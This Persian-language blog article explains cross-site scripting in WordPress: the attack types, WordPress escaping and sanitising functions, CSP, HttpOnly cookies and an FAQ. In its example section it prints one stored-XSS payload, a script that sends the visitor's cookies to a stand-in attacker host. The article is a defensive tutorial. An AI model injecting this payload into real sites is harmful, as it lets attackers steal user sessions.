اولین برخورد من با یک حمله XSS

اولین بار که یک حمله XSS را از نزدیک دیدم، مشتری‌ای بود که از یک باکس نظرات ساده در سایتش شکایت داشت. هر روز چند دیدگاه عجیب ثبت می‌شد که کاربران را به یک سایت دیگر هدایت می‌کرد. در ابتدا فکر می‌کردیم فقط اسپم است، اما وقتی کد صفحه را باز کردم، دیدم یک اسکریپت کوچک جاوااسکریپت در دیدگاه‌ها درج شده که هر بار کاربر صفحه را باز می‌کند، اطلاعات کوکی او را به یک سرور خارجی می‌فرستد. آن روز، داستان XSS برای من دیگر یک مفهوم انتزاعی نبود. XSS یا Cross-Site Scripting یکی از رایج‌ترین و در عین حال نادیده‌گرفته‌شده‌ترین حملات وب است که مستقیماً به کاربران سایت آسیب می‌زند.

اگر با مفاهیم پایهٔ امنیت وب آشنا نیستید، پیشنهاد می‌کنم ابتدا امنیت وب چیست را مطالعه کنید تا چارچوب کلی را درک کنید. همچنین درک تفاوت XSS با سایر حملات مثل CSRF چیست برای انتخاب راهکار دفاعی درست ضروری است.

XSS دقیقاً چه کاری انجام می‌دهد؟

XSS یک حمله تزریق کد است؛ یعنی مهاجم کد جاوااسکریپت خودش را درون صفحه‌ای که توسط سایت شما تولید می‌شود، جای می‌دهد. وقتی کاربر دیگر آن صفحه را باز می‌کند، مرورگر او این کد را به‌عنوان بخشی از سایت معتبر اجرا می‌کند. به همین دلیل، مرورگر هیچ تفاوتی بین کد خودِ سایت و کد مهاجم نمی‌بیند. نتیجه این است که مهاجم می‌تواند کوکی‌ها را بخواند، اطلاعات فرم‌ها را بدزدد، یا کاربر را به صفحه‌ای مخرب هدایت کند.

نکتهٔ کلیدی این است که XSS از سمت مرورگر کاربر اجرا می‌شود، نه از سمت سرور. به همین دلیل، هیچ فایروال سمت سروری نمی‌تواند جلوی آن را بگیرد اگر کد آلوده در HTML نهایی سایت قرار گرفته باشد. دفاع در برابر XSS باید در لایهٔ تولید HTML و در سمت کد سایت اتفاق بیفتد.

انواع XSS: سه شکل اصلی حمله

در ادبیات امنیت، XSS را به سه دستهٔ اصلی تقسیم می‌کنند که هرکدام روش دفاعی متفاوتی دارند:

  • XSS ذخیره‌شده (Stored XSS): کد مخرب در دیتابیس ذخیره می‌شود و به همهٔ بازدیدکنندگان آن صفحه نمایش داده می‌شود. خطرناک‌ترین نوع XSS است چون بدون نیاز به اقدام کاربر، همه را آلوده می‌کند.
  • XSS بازتابی (Reflected XSS): کد مخرب از طریق پارامتر URL به صفحه بازمی‌گردد و فقط برای کاربری که روی لینک آلوده کلیک کرده اجرا می‌شود. معمولاً از طریق ایمیل یا شبکه‌های اجتماعی پخش می‌شود.
  • XSS مبتنی بر DOM (DOM-based XSS): کد مخرب در سمت مرورگر از طریق جاوااسکریپت سایت اجرا می‌شود، بدون اینکه به سرور برگردد. تشخیص آن سخت‌تر است چون کد مخرب در لاگ‌های سرور دیده نمی‌شود.

نوع ذخیره‌شده معمولاً بیشترین آسیب را وارد می‌کند. برای درک عمیق‌تر این دسته‌بندی و مکانیزم کار، مستندات ویکی‌پدیا در مورد Cross-site scripting منبع معتبری است.

چرا XSS در وردپرس خطرناک‌تر است؟

وردپرس به‌عنوان یک پلتفرم محتوایی، با تعداد زیادی ورودی کاربر سروکار دارد: فرم تماس، بخش دیدگاه‌ها، فرم عضویت، جستجو و پروفایل کاربری. هرکدام از این نقاط، یک درِ بالقوه برای XSS است. اگر توسعه‌دهنده‌ای که افزونه یا قالب نوشته، داده‌های ورودی را پاک‌سازی نکند، آن نقطه به یک مسیر برای تزریق کد تبدیل می‌شود. در تجربهٔ خودم، بخش دیدگاه‌ها بیشترین قربانی این نوع حمله بوده است.

یکی از راه‌های اصلی دفاع این است که فقط از افزونه‌ها و قالب‌های معتبر استفاده کنید. فهرست بهترین افزونه‌های امنیتی وردپرس انتخاب‌های مطمئنی را معرفی می‌کند که یکی از وظایف‌شان، پایش ورودی‌های کاربر است. همچنین اگر با نحوهٔ نصب امن افزونه آشنا نیستید، راهنمای دانلود افزونهٔ مطمئن نقطهٔ شروع خوبی است.

نمونه‌ای از یک حملهٔ XSS ساده

تصور کنید یک سایت، بدون پاک‌سازی ورودی، محتوای یک فیلد نظر را مستقیماً در صفحه درج می‌کند. مهاجم کدی مثل زیر را در فیلد نظر می‌نویسد:

<script>document.location='https://malicious.example.com?c='+document.cookie</script>

وقتی کاربر بعدی این صفحه را باز می‌کند، مرورگر او این کد را اجرا می‌کند و کوکی‌های کاربر به سایت مهاجم ارسال می‌شود. با داشتن کوکی، مهاجم می‌تواند خودش را به‌عنوان کاربر وارد سایت کند. این ساده‌ترین شکل یک XSS ذخیره‌شده است و می‌تواند توسط یک کاربر عادی بدون دانش فنی هم راه‌اندازی شود.

راه‌های دفاع در برابر XSS: چک‌لیست عملی

خبر خوب این است که دفاع در برابر XSS کاملاً شناخته‌شده است. اگر چند اصل ساده را رعایت کنید، سایت شما در برابر بخش بزرگی از این حملات مقاوم می‌شود:

  • پاک‌سازی ورودی‌ها: تمام داده‌هایی که از کاربر می‌آیند، پیش از ذخیره باید پاک‌سازی شوند. در وردپرس، توابعی مثل sanitize_text_field و wp_kses وجود دارند که همین کار را انجام می‌دهند.
  • خروجی‌گیری امن: پیش از چاپ هر داده در HTML، از توابعی مثل esc_html و esc_attr استفاده کنید.
  • اعتبارسنجی نوع داده: هر ورودی باید همان نوعی باشد که انتظار می‌رود؛ عدد، ایمیل، URL و غیره.
  • استفاده از Content Security Policy: هدر CSP به مرورگر می‌گوید کدام منابع جاوااسکریپت مجاز هستند و از این طریق جلوی اجرای کد مخرب را می‌گیرد.
  • کوکی‌های HttpOnly: با تنظیم HttpOnly روی کوکی‌ها، جاوااسکریپت نمی‌تواند به آن‌ها دسترسی داشته باشد و حتی اگر حمله موفق شود، کوکی‌ها امن می‌مانند.
  • به‌روزرسانی منظم: بسیاری از آسیب‌پذیری‌های XSS در نسخه‌های قدیمی افزونه‌ها و قالب‌ها وجود دارند.

برای درک عمیق‌تر لایه‌های دفاعی، پیشنهاد می‌کنم هدرهای امنیتی HTTP چه کاربردی دارند را بخوانید؛ CSP یکی از مهم‌ترین هدرهاست که در همین مقاله توضیح داده شده است.

توابع وردپرس برای مقابله با XSS

وردپرس توابع متعددی برای پاک‌سازی و اعتبارسنجی داده ارائه می‌دهد که در توسعهٔ افزونه و قالب بسیار کارآمد هستند. مهم‌ترین آن‌ها عبارتند از:

  • esc_html() — خروجی امن برای HTML
  • esc_attr() — خروجی امن برای مقادیر ویژگی‌های HTML
  • esc_url() — خروجی امن برای URLها
  • esc_js() — خروجی امن برای جاوااسکریپت
  • sanitize_text_field() — پاک‌سازی ورودی متنی
  • wp_kses() — اجازه دادن به HTML محدود
  • wp_kses_post() — اجازه دادن به HTML مجاز در پست‌ها

اگر شما در حال توسعهٔ افزونه هستید، آشنایی دقیق با این توابع ضروری است. برای اینکه بفهمید افزونه‌ای که استفاده می‌کنید آیا به این اصول پایبند است یا نه، مطالعهٔ چگونه امنیت قالب و افزونه را بررسی کنیم کمک‌کننده است.

نقش هدرهای امنیتی در دفاع از XSS

یکی از مهم‌ترین راه‌های دفاع در برابر XSS که اغلب نادیده گرفته می‌شود، استفادهٔ درست از هدرهای امنیتی HTTP است. هدر Content-Security-Policy یا CSP به مرورگر می‌گوید کدام منابع می‌توانند بارگذاری شوند و از اجرای اسکریپت‌های غیرمجاز جلوگیری می‌کند. این هدر یکی از مؤثرترین لایه‌های دفاع در برابر XSS است، زیرا حتی اگر کد مخربی در صفحه باشد، مرورگر آن را اجرا نمی‌کند.

تنظیم صحیح CSP نیازمند شناخت دقیق منابع سایت شماست، اما نتیجه‌اش ارزش وقت گذاشتن را دارد. اگر به‌دنبال راهنمای عملی برای پیاده‌سازی این هدرها هستید، راهنمای هدرهای امنیتی HTTP گام‌به‌گام توضیح داده است. همچنین مطالعهٔ چگونه امنیت وب‌سایت را افزایش دهیم تصویر کامل‌تری از لایه‌های دفاعی به شما می‌دهد.

مقایسه XSS با حملات مرتبط

XSS یکی از چندین حمله وب است که با تزریق کار می‌کنند، اما هرکدام هدف و مکانیزم متفاوتی دارند. درک تفاوت‌ها به انتخاب راهکار دفاعی درست کمک می‌کند:

  • SQL Injection: به‌جای مرورگر، دیتابیس را هدف می‌گیرد و از طریق ورودی‌های ناپاک‌سازی‌شده، کوئری مخرب تزریق می‌کند.
  • CSRF: از اعتماد مرورگر به کوکی‌های سایت استفاده می‌کند و کاربر را وادار به انجام عملی ناخواسته می‌کند.
  • Clickjacking: کاربر را فریب می‌دهد تا روی لینک یا دکمه‌ای که نمی‌بیند کلیک کند.

برای درک عمیق‌تر این تفاوت‌ها، پیشنهاد می‌کنم CSRF چیست و چگونه دفع می‌شود را بخوانید و از آن برای کامل کردن تصویر ذهنی خود استفاده کنید. همچنین راهنمای جلوگیری از SQL Injection توضیح می‌دهد که چرا پاک‌سازی ورودی، پایهٔ مشترک تمام دفاع‌هاست.

پرسش‌های متداول دربارهٔ XSS

آیا XSS روی سایت‌های کوچک هم رخ می‌دهد؟ بله. برخلاف تصور، XSS به اندازهٔ سایت کاری ندارد. هر سایتی که ورودی کاربر را پردازش می‌کند، در معرض XSS است.

آیا افزونهٔ امنیتی به‌تنهایی جلوی XSS را می‌گیرد؟ نه. افزونهٔ امنیتی می‌تواند برخی حملات را مسدود کند، اما اساس دفاع در برابر XSS در کد سایت است. اگر تم/افزونه‌ای که استفاده می‌کنید داده‌ها را پاک‌سازی نمی‌کند، هیچ افزونهٔ امنیتی نمی‌تواند به‌تنهایی همه‌چیز را درست کند.

چطور بفهمم سایت من در برابر XSS آسیب‌پذیر است؟ چند ابزار آنلاین وجود دارد که با ارسال ورودی‌های آزمایشی، آسیب‌پذیری را تشخیص می‌دهند. اما اگر می‌خواهید نتیجهٔ دقیق‌تری بگیرید، مطالعهٔ آموزش تست امنیت وب را پیشنهاد می‌کنم.

آیا Content Security Policy جایگزین پاک‌سازی ورودی است؟ خیر. CSP یک لایهٔ دفاعی تکمیلی است. حتی با CSP، باید ورودی‌ها را پاک‌سازی کنید.

آیا XSS می‌تواند به سرور آسیب بزند؟ مستقیم نه، اما می‌تواند اطلاعات کاربران را بدزدد و از آن‌ها برای دسترسی به پیشخوان استفاده کند.

یک جمع‌بندی کاربردی و بدون تعارف

XSS یکی از آن حملاتی است که اگر یک بار روی سایت شما رخ دهد، تا مدتی به آن فکر خواهید کرد. خبر خوب این است که دفاع در برابر آن پیچیده نیست؛ فقط نیاز به رعایت نظم در کد و پیکربندی دارد. اگر توسعه‌دهنده هستید، پاک‌سازی ورودی و خروجی‌گیری امن را عادت روزانه‌تان کنید. اگر مدیر سایت هستید، از افزونه‌های امنیتی معتبر استفاده کنید و هدرهای امنیتی را فعال نگه دارید. و اگر فقط کاربر سایت هستید، از کوکی‌های HttpOnly استقبال کنید.

تجربه‌تان از مواجهه با XSS یا هر حملهٔ تزریقی دیگر را در دیدگاه‌ها بنویسید. هر تجربهٔ واقعی، به خواننده بعدی کمک می‌کند تا یک گام جلوتر از مهاجم بایستد.